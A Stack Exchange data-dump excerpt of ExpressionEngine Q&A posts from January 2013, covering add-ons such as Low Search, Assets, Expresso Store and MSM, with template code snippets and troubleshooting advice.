  <row Id="5144" PostTypeId="2" ParentId="5132" CreationDate="2013-01-21T09:56:29.873" Score="7" Body="&lt;p&gt;For the record, I know devot-ee uses Low Search for searching only. The filtering you mention is done by a custom add-on they have developed internally. But that doesn't mean you can't achieve something similar with Low Search; you just have to approach things a bit differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need to create a Low Search form on the results page. You then add the &lt;code&gt;query&lt;/code&gt; parameter to it, just like the Results tag. This will make the Form tag 'remember' the posted query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then need to add the checkbox list to the form tag. If you're not going to hard-code it in your template, you could use &lt;a href=&quot;https://github.com/lodewijk/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt; (free) to generate it. For example, say your checkbox field is called &lt;code&gt;features&lt;/code&gt;, then use this code inside your Form tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_options:features}&#xA;    {options}&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;search:features[]&quot; value=&quot;{option:value}&quot;&#xA;            {if &quot;{option:value}&quot; IN ({low_search_search:features})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;            {option:label}&#xA;        &amp;lt;/label&amp;gt;&#xA;    {/options}&#xA;{/exp:low_options:features}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which will generate a list of checkboxes, remembering which was checked when the form was submitted again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will give you results for &lt;em&gt;any&lt;/em&gt; of the checked values, not &lt;em&gt;all&lt;/em&gt;. If you only want entries that have &lt;em&gt;all&lt;/em&gt; the features checked, make sure you add that to the &lt;code&gt;require_all&lt;/code&gt; parameter of the Form tag: &lt;code&gt;require_all=&quot;search:features&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note: the IN-conditional works in EE 2.8.1 or below. If you're using EE 2.9 or up, &lt;a href=&quot;http://gotolow.com/blog/conditional-conundrums&quot; rel=&quot;nofollow&quot;&gt;use a different syntax&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-11-03T08:27:07.617" LastActivityDate="2014-11-03T08:27:07.617" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5145" PostTypeId="2" ParentId="5142" CreationDate="2013-01-21T10:36:34.520" Score="1" Body="&lt;p&gt;You should be able to add a language file to the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the directory expressionengine/third-party/add-on-name/language/english, rename it as the appropriate language then modify the file within it with your new language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This next bit is an assumption on my part...&#xA;How you tell EE to use that language is, I think, down to the locale settings for the site/member in question. If an appropriate language file exists for their selection then it will be used.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-21T10:36:34.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5146" PostTypeId="1" CreationDate="2013-01-21T10:41:38.810" Score="1" ViewCount="109" Body="&lt;p&gt;I want to renew my site without going offline&#xA;I thought these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy all the files and db from remote to local (on wamp)&lt;/li&gt;&#xA;&lt;li&gt;Make the changes&lt;/li&gt;&#xA;&lt;li&gt;Move from local to remote&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;is this the easiest way to do this? There are better ways?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-01-21T18:14:59.567" Title="Restyling site without going offline" Tags="|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5147" PostTypeId="2" ParentId="5146" CreationDate="2013-01-21T10:50:25.913" Score="2" Body="&lt;p&gt;It sounds like you want to set up a development site on your local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this would be to first download all the files from the live server then make a database backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your local machine, set up your environment, drop your files in place then create a new database using the backup you just made from the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update your config and database files as necessary to use the new paths and database connection on your local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do your work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky bit comes next. Depending on the changes you're making you will need to restore the files and data to the live server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no content has changed on the live server (including member registrations etc) then you can simply replace the database and upload your new files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If content on the live server has changed then it's going to be harder as you need to get the databases in sync somehow and get your new fields, add-on data onto the live server while retaining the site content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the changes are just to templates then you should be fine. Equally if just a few new fields and add-ons were added then it might be easier just to recreate them on the live server (after taking another backup of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may well be a better way to get the databases 'in sync' by doing some kind of 'merge'. I'd be interested in hearing them myself!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-21T10:50:25.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5148" PostTypeId="5" CreationDate="2013-01-21T10:59:55.557" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; is a free plugin. Read all about it on &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using FreeMember, you can finally release your member templates from the shackles of &quot;member profile templates&quot;, without dropping all your cash on basic CMS functionality.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Template login and registration forms&lt;/li&gt;&#xA;&lt;li&gt;Inline error messages in your templates - no more annoying “The form you submitted  contains the following errors”.&lt;/li&gt;&#xA;&lt;li&gt;Create logout links, sans annoying “You are now logged out” messages.&lt;/li&gt;&#xA;&lt;li&gt;Automatically use an email address as the username&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2013-01-21T11:13:40.820" LastActivityDate="2013-01-21T11:13:40.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5149" PostTypeId="4" CreationDate="2013-01-21T10:59:55.557" Score="0" Body="Freemember is a free plugin. It takes some member-templates-only functionality to wherever you like. Read all about it on http://devot-ee.com/add-ons/freemember&#xD;&#xA;" OwnerUserId="426" LastEditorUserId="7705" LastEditDate="2020-09-17T18:46:22.087" LastActivityDate="2020-09-17T18:46:22.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5150" PostTypeId="2" ParentId="5146" CreationDate="2013-01-21T11:30:48.587" Score="2" Body="&lt;p&gt;You might like to check out &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;FocusLab's master config&lt;/a&gt; approach, which lets you setup multiple environments. That way you get local, dev and live environments setup. Make changes to your local version, then when you're ready just deploy to live site manually or using something like Git.&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="77" LastEditDate="2013-01-21T18:14:59.567" LastActivityDate="2013-01-21T18:14:59.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5151" PostTypeId="2" ParentId="5025" CreationDate="2013-01-21T11:37:08.043" Score="1" Body="&lt;p&gt;If you're using FocusLab's master config, just double-check that is_system_on isn't being set as an environment config somewhere else (e.g. config/config.prod.php).&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2013-01-21T11:37:08.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5152" PostTypeId="2" ParentId="4981" CreationDate="2013-01-21T13:12:06.200" Score="2" Body="&lt;p&gt;This was due to the way how BWF processes Matrix rows (or rather, how Matrix initialises them to be compatible with BWF) and the row IDs were being shuffled around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, we'll release a new version very soon that fixes these bugs, but, if it's really burning and you can't wait, then feel free to open third_party/assets/views/thumbview/files.php and change the line 15 to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_class = 'assets-file-'.$max_thumb_width.'x'.$max_thumb_height.'-'.$file-&amp;gt;file_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should fix this for you.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-21T13:12:06.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5153" PostTypeId="1" CreationDate="2013-01-21T13:46:57.583" Score="1" ViewCount="104" Body="&lt;p&gt;I am testing my first install of Store in a Paypal sandbox. The one issue i would like to fix is that the billing details are not pulled through from the site. Only the email address, name and telephone are carried through. As it is a bit annoying to have to type them again, can these not also be populated in PayPal?&lt;/p&gt;&#xA;" OwnerUserId="859" LastEditorUserId="268" LastEditDate="2013-01-22T01:39:11.070" LastActivityDate="2013-01-22T01:39:11.070" Title="Expresso store paypal fields" Tags="|add-on|expresso-store|paypal-express-checkout|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ClosedDate="2013-02-15T15:59:50.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="5154" PostTypeId="1" AcceptedAnswerId="5160" CreationDate="2013-01-21T15:07:11.377" Score="0" ViewCount="179" Body="&lt;p&gt;After upgrading assets most pages work fine, but I do have problems with empty assets entries. When viewing such a page the following error occurs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught exception 'Exception' with message 'unknown_source' in .../expressionengine/third_party/assets/libraries/assets_lib.php:1188 Stack trace: #0 .../expressionengine/third_party/assets/ft.assets.php(1114): Assets_lib-&gt;instantiate_source_type(Object(stdClass)) #1 [internal function]: Assets_ft-&gt;pre_process('{filedir_3}foto...') #2 .../expressionengine/libraries/api/Api_channel_fields.php(350): call_user_func_array(Array, Array) #3 .../expressionengine/modules/channel/mod.channel.php(3790): Api_channel_fields-&gt;apply('pre_process', Array) #4 ...expressionengine/modules/channel/mod.channel.php(323): Channel-&gt;parse_channel_entries() #5 .../expressionengine/libraries/ in .../expressionengine/third_party/assets/libraries/assets_lib.php on line 1188&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've managed to solve this by re-saving all entries that cause the conflict. Since this is not a huge site that was doable. But it might be worth knowing what's the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an MSM site, 2.4.0&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-01-21T16:32:28.883" Title="Php error after upgrading to Assets 2" Tags="|assets|upgrade|" AnswerCount="1" CommentCount="3" ClosedDate="2013-01-21T17:23:12.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="5155" PostTypeId="1" AcceptedAnswerId="5158" CreationDate="2013-01-21T15:29:32.537" Score="1" ViewCount="57" Body="&lt;p&gt;I am using zoo visitor, safecracker and solspace user to enable a site member to act as an agent and register other client members to the site.&#xA;These new members are linked to the agent via a hidden text field that is filled during the registration process with the agent's member_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;agent_id&quot; id=&quot;agent_id&quot; value=&quot;{exp:user:is_mine     member_id=&quot;{member_id}&quot;}{member_id}{/exp:user:is_mine}&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now need to show some of the agent's info in the client's template. (agent name and logo)&#xA;I'm sure I could use an embed of some sort but I'm not quite sure where to start!     &lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-01-21T15:48:07.240" Title="embed member information in another member's profile" Tags="|embeds|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5156" PostTypeId="5" CreationDate="2013-01-21T15:30:28.027" Score="0" Body="&lt;p&gt;Better Workflow is an ExpressionEngine add-on from Electric Putty that adds inline preview, entry drafts and approval processes to the EE control panel. With Better Workflow, you will be able to work on a 'draft copy' of a live entry, preview your changes and then 'submit for approval', all without affecting the live website. When the new content has been approved and published the 'draft copy' replaces the 'entry' and the live site is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Useful links&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://betterworkflow.electricputty.co.uk/documentation/&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://betterworkflow.electricputty.co.uk/support/&quot; rel=&quot;nofollow&quot;&gt;Official Support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://betterworkflow.electricputty.co.uk/compatibility/&quot; rel=&quot;nofollow&quot;&gt;Third-Party Compatibility Information&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://betterworkflow.electricputty.co.uk/api/&quot; rel=&quot;nofollow&quot;&gt;API Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-01-21T15:36:01.187" LastActivityDate="2013-01-21T15:36:01.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5157" PostTypeId="4" CreationDate="2013-01-21T15:30:28.027" Score="0" Body="Questions about the Better Workflow add-on." OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-01-21T15:35:57.380" LastActivityDate="2013-01-21T15:35:57.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5158" PostTypeId="2" ParentId="5155" CreationDate="2013-01-21T15:48:07.240" Score="2" Body="&lt;p&gt;When the agent signs up a member write the member id of the agent to a custom member field of the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when outputting details of the user, you can use an embed of some sort and pass the agent's member ID to it something like;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming {agent_id} is the name of the custom profile field in which the agent's member id is stored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;embed('includes/_agentinfo' agentid=&quot;{agent_id}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-21T15:48:07.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5159" PostTypeId="1" AcceptedAnswerId="5167" CreationDate="2013-01-21T16:06:05.547" Score="3" ViewCount="350" Body="&lt;p&gt;Is it possible to use image manipulations with category images? I have heard conflicting reports and it's not working for me. There is a spot to designate image manipulations for category images, but it does not work to reference &lt;code&gt;{category_image:medium}&lt;/code&gt; in a template.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-01-21T20:05:56.993" Title="Image manipulations with category images" Tags="|image|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5160" PostTypeId="2" ParentId="5154" CreationDate="2013-01-21T16:32:28.883" Score="2" Body="&lt;p&gt;this will be fixed in an upcoming release - apparently we didn't think of everything :)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-21T16:32:28.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5161" PostTypeId="1" CreationDate="2013-01-21T16:35:30.690" Score="3" ViewCount="151" Body="&lt;p&gt;My client lives in Washington State and they have destination-based sales tax, meaning anytime they ship something to a customer within the state, taxes must be calculated based on the customers address (not just zipcode - that would be too easy).  It's my understanding that roughly 20 states are now doing this with new ones adopting the process monthly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't something to snub our noses at -- it's the law in many of our states and our clients can get into serious trouble if they don't comply.  Disappointingly I've emailed Exp:resso about this issue three times now asking for help and even offering to pay them to develop this, but have received zero response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution for this growing problem?&lt;/p&gt;&#xA;" OwnerUserId="860" LastEditorUserId="268" LastEditDate="2013-01-22T01:38:27.703" LastActivityDate="2013-12-12T20:20:52.140" Title="Expresso Store: Destination based sales tax" Tags="|add-on|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5162" PostTypeId="1" CreationDate="2013-01-21T17:21:56.407" Score="2" ViewCount="81" Body="&lt;p&gt;With the new html upload form would it be possible to add files like using safecracker file upload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want members to be able to upload images/files (ideally with assets) and then they can only see what they have uploaded and not the directory of files. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="861" LastEditorUserId="268" LastEditDate="2013-01-22T01:35:34.417" LastActivityDate="2013-01-22T01:35:34.417" Title="Only allow users to see files they previously uploaded in Assets" Tags="|add-on|assets|uploads|safecracker-file|" AnswerCount="1" CommentCount="2" ClosedDate="2013-04-18T00:44:08.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="5163" PostTypeId="1" CreationDate="2013-01-21T17:31:59.973" Score="4" ViewCount="396" Body="&lt;p&gt;I can't figure this one out. I just have a standard checkout form that is hooked up to SagePay Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Store settings there is no mapping of billing firstname and surname but in the gateway class I can see the values being requested. When i submit the form, I get the message saying &quot;3107 : The BillingSurname field is required.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I amend the gateway class to hardcode values in the field it goes through fine. What makes it even stranger is that on a live site using the same codebase and database, it all goes through to SagePay without any errors at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-04-15T11:16:51.273" Title="Expresso Store: SagePay Server rejecting missing BillingSurname" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5164" PostTypeId="2" ParentId="5159" CreationDate="2013-01-21T18:11:32.553" Score="3" Body="&lt;p&gt;Doing a test on my local machine, I'd declare this to be a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the resized image used for the category image gets created, but when I reference it by the image manipulation name specified in the Upload Pref I just get &quot;&lt;code&gt;{category_image:manipulation_name}&lt;/code&gt;&quot; rendered out into the source code while removing and just using &lt;code&gt;{category_image}&lt;/code&gt; works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oops - just saw my local install is on 2.5.2 yet. I don't see any reference to the issue in the bug tracker or change log however.&lt;/p&gt;&#xA;" OwnerUserId="651" LastEditorUserId="55" LastEditDate="2013-01-21T20:05:56.993" LastActivityDate="2013-01-21T20:05:56.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5165" PostTypeId="2" ParentId="5162" CreationDate="2013-01-21T18:23:22.490" Score="1" Body="&lt;p&gt;This isn't possible with Assets: Assets does not track who uploaded a file, so this kind of association is not there. &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-21T18:23:22.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5166" PostTypeId="1" AcceptedAnswerId="5175" CreationDate="2013-01-21T18:28:39.053" Score="1" ViewCount="83" Body="&lt;p&gt;Can I have separate add-ons installed for each site when using MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, for an EE install using MSM: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One or more sites within the EE install will use Transcribe for localization. &lt;/li&gt;&#xA;&lt;li&gt;One or more sites within the EE install will not have localization&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd like to avoid having Transcribe enabled for a site with no localization.&lt;/p&gt;&#xA;" OwnerUserId="338" LastActivityDate="2013-01-21T23:01:56.560" Title="MSM with separate add-ons enabled?" Tags="|add-on|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5167" PostTypeId="2" ParentId="5159" CreationDate="2013-01-21T18:30:56.833" Score="5" Body="&lt;p&gt;I tested this on 2.5.5 and it doesn't work. I noticed a few posts in the forums that EL staff said this might not even be available. There was one forum post which I wasn't able to read because it was for &quot;development preview&quot; members so, I wonder if that is the fix being tested or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can agree with Michael in that it does in fact create the folder and resize the image though, the tag isn't being parsed. You just get the tag itself like Mike said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider submitting a bug report (or possibly a feature request as I've seen EL suggest in the forums.)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-21T18:30:56.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5168" PostTypeId="2" ParentId="5033" CreationDate="2013-01-21T18:36:59.380" Score="1" Body="&lt;p&gt;It looks as though there's a &lt;a href=&quot;http://mightybigrobot.com/forums/viewthread/7599/&quot; rel=&quot;nofollow noreferrer&quot;&gt;known issue&lt;/a&gt; with the Profile:Edit addon not saving custom fields. That could be the culprit.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There’s a problem caused by the 2.5.4 update. Specifically, safecracker entry submissions will partially fail, resulting in custom fields not getting filled in.&lt;/p&gt;&#xA;&lt;p&gt;Problem is mod.profile.php at line 878 - the exp_security_hashes has changed in structure and no longer has an ip_address column.&lt;/p&gt;&#xA;&lt;p&gt;Turning off Secure Forms is a workaround.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Disabling secure form processing is generally a bad idea, but it's worth a try in your dev environment so you can verify whether that's the problem. If it is then you'll probably have to wait for a fix to be released.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-21T18:36:59.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5169" PostTypeId="1" AcceptedAnswerId="5185" CreationDate="2013-01-21T18:40:39.973" Score="2" ViewCount="188" Body="&lt;p&gt;I have a safecracker form that allows users to enter a url_title. If url_title is already used, by default, a number gets added to url_title so it’s unique. But instead of having this automated behavior where number gets added to url_title, Is there a way i can notify the user that the url_title typed is already taken so user can enter a new one?&lt;/p&gt;&#xA;" OwnerUserId="631" LastActivityDate="2013-03-22T02:39:59.380" Title="How can Safecracker check for a unique url_title field?" Tags="|safecracker|url-title|validation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5170" PostTypeId="2" ParentId="5166" CreationDate="2013-01-21T18:42:42.440" Score="1" Body="&lt;p&gt;Addons are available to all sites in an MSM install, however they can have per-site preferences (that's up to the developer). Your best bet would probably be to contact the Transcribe devs to clarify the addon's MSM functionality and whether it's possible to have a mixture of localised and non-localised sites running from a single EE install.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-21T18:42:42.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5171" PostTypeId="1" AcceptedAnswerId="5173" CreationDate="2013-01-21T19:04:14.933" Score="1" ViewCount="906" Body="&lt;p&gt;I have a products section with 5 different product categories and all products are assigned to one category only. The current URLs are like this --&gt;http://site.com/products/category/oral-care/. I would like to remove the &quot;category&quot; segment so the URLs are more like this &lt;a href=&quot;http://site.com/products/oral-care/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/products/oral-care/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As weird as this sounds I &lt;em&gt;have&lt;/em&gt; done this before on a different site. I used a combo of GWCode Categories and LowSeg2Cat to create my product links based on nested categories and successfully created URL's with this format &lt;a href=&quot;http://site2.com/products/food/fruits/&quot; rel=&quot;nofollow&quot;&gt;http://site2.com/products/food/fruits/&lt;/a&gt;. In that URL food is a category and fruits is a subcategory. I can't figure out what I did to get this working and can't get it working on the new site. Is there a different method? Thanks for any info.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-01-21T19:51:32.967" Title="How to remove category URL indicator segment?" Tags="|categories|url|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5172" PostTypeId="1" AcceptedAnswerId="5174" CreationDate="2013-01-21T19:45:41.803" Score="1" ViewCount="1302" Body="&lt;p&gt;I'm using EE's built in e-mail module for a contact form on my site.   I'd like to add additional fields to the form that it doesn't have out of the box.  I know freeform by solspace will do this, but I was hoping there is a way without spending $100 on a plugin.  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-21T19:58:36.540" Title="custom fields in e-mail module's contact form" Tags="|email|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5173" PostTypeId="2" ParentId="5171" CreationDate="2013-01-21T19:51:32.967" Score="4" Body="&lt;p&gt;Yup, this is a snap with &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}&#xA;    {exp:channel:entries channel=&quot;channel&quot; category=&quot;{segment_category_ids}&quot;}&#xA;    ....&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If you're going to be using other filters, or pagination, in your &lt;code&gt;products/index&lt;/code&gt; template, then you need to do more advanced checking in that conditional to determine whether you should add the &lt;code&gt;category=&quot;&quot;&lt;/code&gt; parameter - in which case I'd suggest using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; for that conditional.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to creating links to those category URLs, you can't use the &lt;code&gt;{path=&quot;&quot;}&lt;/code&gt; variables, but instead you need to build the links manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories backspace=&quot;2&quot;}&amp;lt;a href=&quot;/products/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;, {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-21T19:51:32.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5174" PostTypeId="2" ParentId="5172" CreationDate="2013-01-21T19:58:36.540" Score="5" Body="&lt;p&gt;EE's contact form does not support custom fields per se (i.e., it doesn't support the custom fields you'd use for your channels), but you can have multiple fields populate the message by naming each with an array syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;message&quot;&amp;gt;Your Message&amp;lt;/label&amp;gt;&#xA;&amp;lt;textarea name=&quot;message[]&quot; id=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;how&quot;&amp;gt;How did you hear about us?&amp;lt;/label&amp;gt;&#xA;&amp;lt;textarea name=&quot;message[]&quot; id=&quot;how&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;age&quot;&amp;gt;How old are you?&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;message[]&quot; id=&quot;age&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;16-20&quot;&amp;gt;16-20 years&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;21-30&quot;&amp;gt;21-30 years&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;31-40&quot;&amp;gt;31-40 years&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/contact_form.html#message&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll also point out that there is a &lt;a href=&quot;http://www.solspace.com/software/license/freeform/free/&quot;&gt;free version of Freeform 4&lt;/a&gt; which lets you add as many fields as you like to your message - just not all of the custom field types.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-21T19:58:36.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5175" PostTypeId="2" ParentId="5166" CreationDate="2013-01-21T20:04:55.467" Score="1" Body="&lt;p&gt;None of the &lt;code&gt;exp_extensions&lt;/code&gt;, &lt;code&gt;exp_fieldtypes&lt;/code&gt;, or &lt;code&gt;exp_modules&lt;/code&gt; tables have a &lt;code&gt;site_id&lt;/code&gt; column, so no - enabled for one site is enabled for all sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5170/55&quot;&gt;Dom is right&lt;/a&gt; - good add-ons will have &lt;em&gt;settings&lt;/em&gt; per-site, which in most cases should prevent any issues with having add-ons enabled on sites where you don't need them.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-21T23:01:56.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
